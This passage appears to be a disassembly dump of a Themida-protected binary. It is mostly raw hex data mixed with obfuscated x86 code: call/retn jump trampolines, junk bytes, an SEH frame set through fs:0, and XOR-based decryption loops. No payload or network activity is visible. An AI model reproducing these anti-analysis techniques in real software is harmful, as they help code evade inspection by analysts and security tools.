18042444h, 46000000h, 38DFC356h, 0FFE2FD9Eh, 0ABA227B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0BBE8DE64h, 0F9B70F9Ah, 318595FFh, 6A06A8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0D381FBC3h, 616B3D96h, 0A227B5FFh, 6A06ABh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 114D23C3h, 6424CC3Bh, 0F5595FFh, 0BD8306A8h, 6A8077Dh dd 58840F02h, 8B000000h, 0A80D1985h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0B5892E23h dd 860Fh, 0E7810000h, 726218E3h, 6A0000C6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4911C356h dd 0F841678Dh, 0C7D8BF0Fh, 0A80DC185h, 6, 6DBD8B00h, 0E906A807h dd 0FFFFF379h, 178B0Fh, 12E90000h, 0A0000000h, 0FAC0CE87h dd 85507282h, 4A7FC1C5h, 0E1FD977Bh, 0D5E78174h, 8B30D883h dd 6DBD89C1h, 8D06A833h, 0A8338585h, 0F008BF06h, 8B903E18h dd 6A9050F8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 2920C352h, 0A82229BDh, 8B006A06h dd 0A826CDBDh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0C3F4C352h, 8D895685h dd 6A82809h, 0AE2543BFh, 6858D12h, 6A06AC44h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 44BDC351h, 0D11FB13Bh, 0CB813188h, 54040F0Dh, 0F05C083h dd 0B89h, 5830F00h, 66000000h, 722C781h, 24048950h, 32DD9D23h dd 6A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0E6C35646h, 70D78198h, 6A5C36B7h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8BF02795h, 4195FFFAh, 6A06A825h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B50AC357h dd 8589767Ah, 6A80971h, 8C7F8D8Dh, 8FBB06ABh, 0FF74459Dh dd 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0EC8DECFEh, 1415520Ah, 16BB6646h, 0F8BF0FDEh dd 339DBD83h, 0F0106A8h, 8E85h, 830F00h, 31000000h, 0A819A5BDh dd 6A026A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 68C1C355h, 5BEC4CD5h, 0B2BB90D5h dd 504BF02Eh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 276EB1C8h, 0C9BD8B03h, 8906A830h dd 0A82131BDh, 1D95FF06h, 6A06A81Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8F03C350h dd 0EAE25926h, 0E9CF36A2h, 0D82h, 0E8h, 0ED815D00h, 6AC4410h dd 0A890Fh, 5E90000h, 94000000h, 6676D30Dh, 65D9D8Bh, 858D06A8h dd 6AB7E2Eh, 0CBBB90FCh, 50587B3Fh, 0CE9h, 0C1781700h dd 0DF3750B4h, 3029C6CDh, 0FE89007h, 7A000000h, 0D195A6D5h dd 1E61A9A6h, 68545ED6h, 0DE9350Eh, 53000000h, 9D113772h dd 500FF465h, 8D1147D8h, 9D29575Bh, 6A817C5h, 35FF645Bh dd 0 ; --------------------------------------------------------------------------- push ecx add ebx, 1BB19473h pop edi mov large fs:0, esp push 0 push edx call sub_58DEAA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DEAA proc near ; CODE XREF: Themida_:0058DEA2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_58DEAA endp ; --------------------------------------------------------------------------- dw 0AD8Dh ; --------------------------------------------------------------------------- jle loc_58DEC8 sub edi, [ebp+6A805A5h] loc_58DEC8: ; CODE XREF: Themida_:0058DEBCj inc dword ptr [ebp+6A833F1h] jnp loc_58DEDA add edi, 0E9740CFh loc_58DEDA: ; CODE XREF: Themida_:0058DECEj push 0FFFFFFFFh mov bx, 0FFCFh push dword ptr [ebp+6A81DA9h] push 0 push ebp call sub_58DEF1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DEF1 proc near ; CODE XREF: Themida_:0058DEE9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_58DEF1 endp ; --------------------------------------------------------------------------- db 99h, 21h, 5 dd 0EABD592Bh, 0BF668073h, 0BD89D36Bh, 6A83249h, 2A7D95FFh dd 0DE906A8h, 0F000001h, 680h, 9FE38100h, 0B037C57Bh, 11958900h dd 0E606A815h, 71E4F570h, 9E860h, 7B080000h, 5F3270DDh dd 66DBD340h, 17C1DA81h, 0E1BD8B5Fh, 6106A829h, 830F613Ch dd 0D0h, 0BE9h, 0F4883E00h, 0DE1B4A0h, 1568015Eh, 0B3C8B60Fh dd 6BA7Dh, 0BD8B0000h, 6A83261h, 8B66C18Bh, 8E9FEh, 7680000h dd 215A2A18h, 0E8C19D00h, 21BD8904h, 6606A834h, 0B3B7E2F7h dd 80B7C82Bh, 7E9D18Bh, 74000000h, 0FA330B23h, 1E93B33h dd 0F8000000h, 26C5858Bh, 0FE906A8h, 0EA000000h, 77E6DE3Ah dd 1D814B0Ah, 8BA98004h, 0C0831846h, 0DF8B6607h, 0F00C083h dd 0D03BDFB7h, 16830Fh, 6E90000h, 54000000h, 47C710D5h dd 3AE926h, 0BD0B0000h, 6A80D45h, 251D8D8Bh, 0BD8906A8h dd 6A80735h, 0F01E183h, 1F84h, 1DA58300h, 0FE06A825h, 2C98589h dd 958906A8h, 6A826C5h, 7AEF81F9h, 0E90B3795h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6ABC2F2h] push 0 push edx call sub_58E03D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E03D proc near ; CODE XREF: Themida_:0058E035p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58E03D endp ; --------------------------------------------------------------------------- db 44h, 2Fh, 34h ; --------------------------------------------------------------------------- xchg ecx, [ecx-57F30E4Bh] push es push 0 push 0 push edx call sub_58E064 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E064 proc near ; CODE XREF: Themida_:0058E05Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58E064 endp ; --------------------------------------------------------------------------- dd 158A6860h, 6D5E01BCh, 1B3195FFh, 6A06A8h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E0FF7C3h dd 6, 1A81BD8Bh, 860F06A8h, 3, 0B9DAB70Fh, 0DBDh, 839AC780h dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 2D62AC3h, 735EEFE8h, 6E860h, 899C0000h, 6252799Bh dd 20AF1AB9h, 95895E45h, 6A800E1h, 850F6061h, 0Eh, 9E9h dd 0CF257900h, 7C29041h, 61FC0812h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C5831B81h dd 320DBD8Bh, 0F78106A8h, 0BA48CB2h, 0B8h, 0B8F0F00h, 0F000000h dd 581h, 6032BF00h, 0D22B5118h, 0C233ADF5h, 0D003E8D1h dd 7504E983h, 4EBF66F4h, 53006A2Eh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0E6578DB9h, 0DFA4E6Eh dd 88h, 1DC9BD8Bh, 958B06A8h, 6A805B9h, 1605CB81h, 73B70843h dd 14698D8Bh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 1060C1C3h, 92F64938h, 8D319630h dd 6A82659h, 28A0F50h, 60000000h, 8B505B61h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 30619D8Bh, 6A06A8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 7023ABC3h, 0DE8B66D8h, 0BD83A3B3h, 6A80C91h, 2F840F00h dd 0B8000000h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+6A84FAFh] push 0 push esi call sub_58E239 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E239 proc near ; CODE XREF: Themida_:0058E231p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58E239 endp ; --------------------------------------------------------------------------- jmp cx ; --------------------------------------------------------------------------- mov [ebp+6A81FE9h], ebx cmp dword ptr [ebp+6A80BBDh], 0 jz loc_58E6E8 xor bh, 1Eh cmp dword ptr [ebp+6A80BBDh], 1 jz loc_58E703 or bx, 624Dh cmp dword ptr [ebp+6A80BBDh], 3 jbe loc_58E6CD or ebx, [ebp+6A82FEDh] mov [ebp+6A80049h], ebx pusha push 0 push edx call sub_58E299 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E299 proc near ; CODE XREF: Themida_:0058E291p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58E299 endp ; --------------------------------------------------------------------------- db 0D0h, 4Eh, 4 dd 9E8h, 22BCE000h, 0BD3324F9h, 0EE8E6CCh, 0C0000000h dd 0CF439D8Fh, 0CFC7487Fh, 0AE4B8D3h, 7585893Ah, 5F06A801h dd 0D98C665Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 5DC35040h, 0B1E6402Ch, 0C015E65Ch, 6A04E180h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0EA26C352h, 0AE9958Eh, 33840FC9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0F3FEC352h, 0B9A1232Ah, 34F19D33h, 858B06A8h, 6A80BE1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C3C35343h dd 0AD9D8B1Ch, 3306A805h, 0A81D5D85h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0D0C6C249h, 0E59531F8h, 5006A810h, 8B665250h, 0E9310FF9h dd 14h, 68964828h, 67495B50h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh dd 489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0E9E3BBAFh, 7, 18B7DC3Eh, 6AF3AAFAh dd 51B58900h, 6806A81Eh, 0C84A8AE9h, 81DF8B66h, 79162404h dd 0BD8B37D4h, 6A80C55h, 74195FFh, 0BD8B06A8h, 6A80CC5h dd 0A2278589h, 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 4E0BD0C3h, 12B68E4Dh, 0E960E681h dd 1F0h, 63936BBBh, 5956602Dh, 0A0DE8166h, 858B61D1h, 6ABA21Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E1C35646h dd 89A2C0E6h, 0A81EDD8Dh, 0DE906h, 582F0000h, 4FAF4E5Dh dd 0FF16577Dh, 0C7330446h, 1800h, 29B50100h, 8B06A834h dd 0ABA223B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0ADF3B73Dh, 0F5D6186h dd 0CF80F9B7h, 7D858B48h, 6606A82Bh, 0BB5F381h, 6A0689h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0CBFE05C3h, 7CE6D53Ah, 69D78166h, 0DB816624h, 858BBA59h dd 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0B7C35343h, 5858C49Ah, 5850Fh, 81660000h, 8984BFD7h dd 0D4BB0446h, 5027EE1Eh, 13E8h, 0C97CC500h, 0BA73C413h dd 73B021Bh, 3F83F5B5h, 125BE367h, 2434895Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5BC35141h, 0C1958964h dd 906A82Bh, 0A8219D95h, 1FB5FF06h, 3106ABA2h, 0A8177D8Dh dd 99B16806h, 481D9E6h, 386A4E24h, 51006A26h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0BAC7CDC6h dd 858DA347h, 6ABA227h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 57C35141h, 0A3A12D6Eh, 0DB80F514h, 1AB350E1h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 4B45C350h, 0B5A1C70Ah, 0E781F46Fh dd 1C5C65C1h, 19C19D0Bh, 95FF06A8h, 6A80741h, 9E9h, 0FFD2EE00h dd 780BAA22h, 85296215h, 6A8110Dh, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 7C932BC7h dd 799D339Fh, 0C706A807h, 0A80BBD85h, 306h, 0BD83F900h dd 6ABA227h, 52840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4EA5C357h dd 65B57747h, 8B52DA5Ch, 0A82EA19Dh, 44BF6606h, 3AE988h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0B9D15EC3h db 10h ; --------------------------------------------------------------------------- loc_58E6CD: ; CODE XREF: Themida_:0058E27Bj ; Themida_:0058E6E4j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_58E6CD jmp short loc_58E71E ; --------------------------------------------------------------------------- loc_58E6E8: ; CODE XREF: Themida_:0058E259j ; Themida_:0058E6FFj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_58E6E8 jmp short loc_58E71E ; --------------------------------------------------------------------------- loc_58E703: ; CODE XREF: Themida_:0058E269j ; Themida_:0058E71Aj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_58E703 jmp short $+2 loc_58E71E: ; CODE XREF: Themida_:0058E6E6j ; Themida_:0058E701j mov eax, eax mov ebx, [ebp+6A82761h] jmp loc_58E739 ; --------------------------------------------------------------------------- db 0FCh dd 9AE7196Ch, 0B05346D4h, 2BB60933h db 0B0h ; --------------------------------------------------------------------------- loc_58E739: ; CODE XREF: Themida_:0058E726j push 0 push eax call sub_58E744 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E744 proc near ; CODE XREF: Themida_:0058E73Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58E744 endp ; --------------------------------------------------------------------------- dd 858DBB10h, 0BD832FAFh, 6A80BBDh, 27850F03h, 0BB000004h dd 310A7D29h, 0A227BD83h, 0F0006ABh, 41584h, 1E1EBF00h dd 0B5FF0250h, 6ABA227h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 4CC35343h, 0E5FDB3AEh, 0E42CE1C5h, 0F995FF8Eh dd 0F06A815h, 0B58BD8B7h, 6ABA21Bh, 9B9BD8Bh, 0C7FC06A8h dd 1000106h, 96D98B00h, 0E88A7CBBh, 0BF665078h, 6A9637E3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 4154C350h, 1A606B2Fh, 0CE960h, 0E9DE0000h dd 49300B62h, 0FB2F517Eh, 11E90B88h, 0AB000000h, 0C3848C14h dd 6803B15h, 6D18A068h, 28A29CB4h, 27B5FF61h, 8B06ABA2h dd 0A81FB59Dh, 9995FF06h, 2906A821h, 0A8001995h, 10E906h dd 7FBC0000h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0B58BEC51h dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 43C35646h, 13E9A9h, 2C860000h, 0F9ED2483h, 4C81D9Dh dd 20A38DCDh, 0BD69F57Bh, 41858BFAh, 6A06A80Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0E9D8C352h, 0Eh, 0EADA8485h, 443A784Ah, 4D8FF04Eh, 840F1745h dd 6, 2C719D0Bh, 868906A8h, 0C4h, 7E95757h, 0D2000000h dd 56AD435Bh, 5B5FBD5Ch, 5B9958Bh, 9D8B06A8h, 6A81499h dd 8B04C283h, 0A80D919Dh, 20508906h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0ADC35343h, 98589B0h, 8B06A808h dd 0A810FD9Dh, 0CE858D06h, 6A06ABB7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88D5C356h dd 35B509D5h, 8906A81Bh, 0B886h, 0D624BB00h, 6A1762h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B6C35040h, 3E9505B3h dd 0FF68312Dh, 0ABA227B5h, 0FF3FB706h, 0A81E1D95h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 8DF381D5h, 960EC377h, 5650F98Bh, 310F5250h, 14E8h, 0CE52ED00h dd 0A59968E5h, 625DE451h, 0C37C37F7h, 0DE08314Dh, 585A5F64h dd 6A965Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0EB2D28C3h, 0B3F12C3Ch, 860F254Eh, 5, 64D78166h dd 5E9DCh, 1D3B0000h, 0FF475186h, 0ABA227B5h, 39950106h dd 0FF06A801h, 0A82A6995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 57577079h dd 5F5FF98Bh, 2E3DBD83h, 0F0006A8h, 4E84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0DBD8B68h, 5006A811h, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 28E1C357h dd 0BD893F9Ah, 6A82AF1h, 0FFDF8B66h, 0ABA227B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 55BD8B4Bh, 0FF06A817h, 0A8318595h, 199D2906h, 0FF06A825h dd 0ABA227B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 7FAA9EAFh, 3079D9FDh dd 0BB663F37h, 0BD31AB63h, 6A8211Dh, 0F5595FFh, 0B5BB06A8h dd 83580907h, 0A8077DBDh, 840F0206h, 63h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0D3C35141h, 0A4EEDEB2h dd 0BBC86F19h, 1F0FBB59h, 0D19858Bh, 0FE906A8h, 16000000h dd 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 0C6D59Dh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0C73BD7AAh, 0A80DC185h, 6, 0DBD0100h, 0F06A800h, 47E9DBBFh dd 0FFFFFF3h, 0C18BDFBFh, 858DAEB3h, 6A83385h, 0F98B90F9h dd 6A9ABF50h, 3190450Dh, 0A800C985h, 0F006A06h, 0D82h dd 8E900h, 34900000h, 0C49262C6h, 6A0F90h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FDC35646h, 5C4B77h dd 18F744Eh, 0DFB70F2Fh, 8D8BDB80h, 0AC537185h, 1BD0306h dd 8306A817h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 43F7DEC3h, 106324A9h, 8A0F50E5h dd 4, 4E18BF66h, 1240489h, 0A81BA185h, 89006A06h, 0A82FED85h dd 6A006A06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0ECA8C352h, 60267497h, 0A6670C0Fh dd 386C12BFh, 0FE965h, 0EDD10000h, 0D0A92724h, 51F4585h dd 0C618759h, 4195FF31h, 0F06A825h, 680h, 81BD0300h, 8D06A82Dh dd 0AB8C7F8Dh, 79952906h, 0FF06A80Eh, 0B59589D1h, 0E906A82Dh dd 7, 36668D8Eh, 83AFD96Bh, 0A8339DBDh, 850F0106h, 0BEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B7C35141h dd 0BEC7C1FDh, 77EFD7BEh, 0FABF0F4Dh, 6A026Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 39C63C3h, 0E563A767h, 0E990B4EBh, 6, 7D32C36h, 5050D35Dh dd 866EBB52h, 310F5E96h, 6A90585Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0FD2AC350h dd 0CA4B8516h, 84546A8Dh, 0D1BD0960h, 0F06A815h, 0FF61D0B7h dd 0A81E1D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 9AAFF3F9h, 19E9528Ch dd 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6AC537Bh push 0 push ebx call sub_58ED9A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED9A proc near ; CODE XREF: Themida_:0058ED92p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_58ED9A endp ; --------------------------------------------------------------------------- dw 8057h dd 6E05E202h, 2DFDBD31h, 0DE906A8h, 75000000h, 8B4D4D87h dd 0F7F6C7Ah, 0CD059B35h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0A3C35040h, 6FBFEB73h, 0BF08C101h, 2D7B54A4h dd 7E2E858Dh, 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 2F5B3EC3h, 1EBDE525h, 0BB90F55Ah dd 2131D602h, 905B5350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 8C35747h, 8BD18ABCh, 35FF64FAh, 0 ; --------------------------------------------------------------------------- push 0 push edi loc_58EE4F: ; CODE XREF: Themida_:0058EEBBj call sub_58EE57 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EE57 proc near ; CODE XREF: Themida_:loc_58EE4Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58EE57 endp ; --------------------------------------------------------------------------- db 66h ; --------------------------------------------------------------------------- clc mov [ebp+6A8073Dh], esi mov [ebp+6A81E41h], ebx mov large fs:0, esp push 0 push edi call sub_58EE87 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EE87 proc near ; CODE XREF: Themida_:0058EE7Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58EE87 endp ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- movsd clc inc dword ptr [ebp+6A833F1h] push 0 push ecx call sub_58EEAB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EEAB proc near ; CODE XREF: Themida_:0058EEA3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_58EEAB endp ; --------------------------------------------------------------------------- js short loc_58EE4F xor bh, [ecx+66CE9973h] adc ebx, 0FF6AEDBAh push dword ptr [ebp+6A81561h] push 0 push esi call sub_58EEDA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EEDA proc near ; CODE XREF: Themida_:0058EED2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58EEDA endp ; --------------------------------------------------------------------------- dw 0B355h dd 0E6A64452h, 5E80Fh, 1D3B0000h, 29475186h, 0A82F0595h dd 0DF8B5B06h, 2A7D95FFh, 0F7E906A8h, 56000000h, 0B05B0DB3h dd 70E6FC00h, 1F958589h, 71E406A8h, 14FD9D8Bh, 613C06A8h dd 0D8830Fh, 8B660000h, 0C8B60FDEh, 2B919D8Bh, 6BA06A8h dd 29000000h, 0A810DD95h, 0C1C18B06h, 8B5704E8h, 0A81581BDh dd 0F7665F06h, 0C82BF9E2h, 29D18BF8h, 0A83435BDh, 0D99D8906h dd 0E906A817h, 0Ch, 10D1BD89h, 0BD2906A8h, 6A801DDh, 3159858Bh dd 0FA8B06A8h, 0EFF7E781h, 0C08372B5h, 83F8B307h, 3DB700C0h dd 830FD03Bh, 33h, 0E8FEB70Fh, 7, 5F91671Dh, 29030769h dd 0A82F318Dh, 53E95B06h, 0F000000h, 689h, 5BD8900h, 0F06A832h dd 685h, 61BD8B00h, 8B06A831h, 0A81E4D8Dh, 0C18D8906h dd 8306A82Eh, 840F01E1h, 26h, 0A5835FB3h, 6A81E4Dh, 6685B7FEh dd 0C547D781h, 31599589h, 48BF06A8h, 894DA538h, 0A82261BDh dd 0E906h, 0B58D0000h, 6ABD2A2h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 55C35141h, 39AD6CF0h, 44E8610Bh dd 8CDB8184h, 6A7A5211h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 11D3560Ah, 0CE801h, 1C610000h dd 0DBF903AEh, 35D0B911h, 14E90B06h, 3B000000h, 0B59AFEF2h dd 95FCD08Ah, 56FA2CAFh, 0E029D683h, 5B067BFBh, 1B3195FFh dd 0BD8B06A8h, 6A82E55h, 79EB9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8937BB02h dd 0E18365D8h, 1D9D0BFCh, 0FC06A82Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0B1C35343h, 0BBF3C53Fh, 36679CE7h dd 0DF81F97Ah, 7EB4E3C7h, 0B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9D033EC9h dd 6A8003Dh, 34A19D8Bh, 0BA06A8h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0EEA1C350h, 7663CC5h, 3CBF6636h, 0C233ADC4h, 0D003E8D1h dd 7504E983h, 21B589F4h, 6A06A826h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F422C356h dd 0BE9h, 6440BA00h, 63065D60h, 0EE13EBBAh, 880Dh, 7DBD8B00h dd 8B06A829h, 0A805B995h, 0D5958906h, 6006A81Bh, 1C098D09h dd 9D8B06A8h, 6A82D09h, 698D8B61h, 6A06A814h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0CAFAC351h, 518E6E26h, 50708E9Fh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0C3816658h, 0B70F2684h, 91BD83DAh dd 6A80Ch, 8B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0D8532EC3h, 81CA6770h dd 0F1D376Eh, 0B8FAB7h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 3957C353h dd 0A5190ABDh, 0B5BD03D1h, 8D06A817h, 0A84FAF8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 8A597E81h, 6AB616ACh, 0D8BB66EFh, 89E1FFBAh, 0A80C019Dh dd 0BDBD8306h, 6A80Bh, 427840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 890F24C3h dd 5, 0D4D791BBh, 0BDBD830Ch, 106A80Bh, 40E840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0A6F3BAC3h, 0D88B662Bh, 0BBDBD83h, 0F0306A8h, 3A986h dd 919D8B00h, 8106A81Eh, 0F79F0FF3h, 0BD8B600Fh, 6A81A09h dd 29D98C66h, 0A816F98Dh, 4E18006h, 0D1D985BFh, 0FC90A6Fh dd 12D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 93693310h, 0FB1F3BBAh, 12E9h, 69F01800h dd 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 6032CF40h, 9DBD23FCh dd 6106A821h, 0BE1858Bh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 2158B3C3h, 0BBBB2796h dd 33C5CBEFh, 0A81D5D85h, 0FBB70F06h, 50D98B90h, 0B5958990h dd 6A06A833h, 55006A00h, 3E8h, 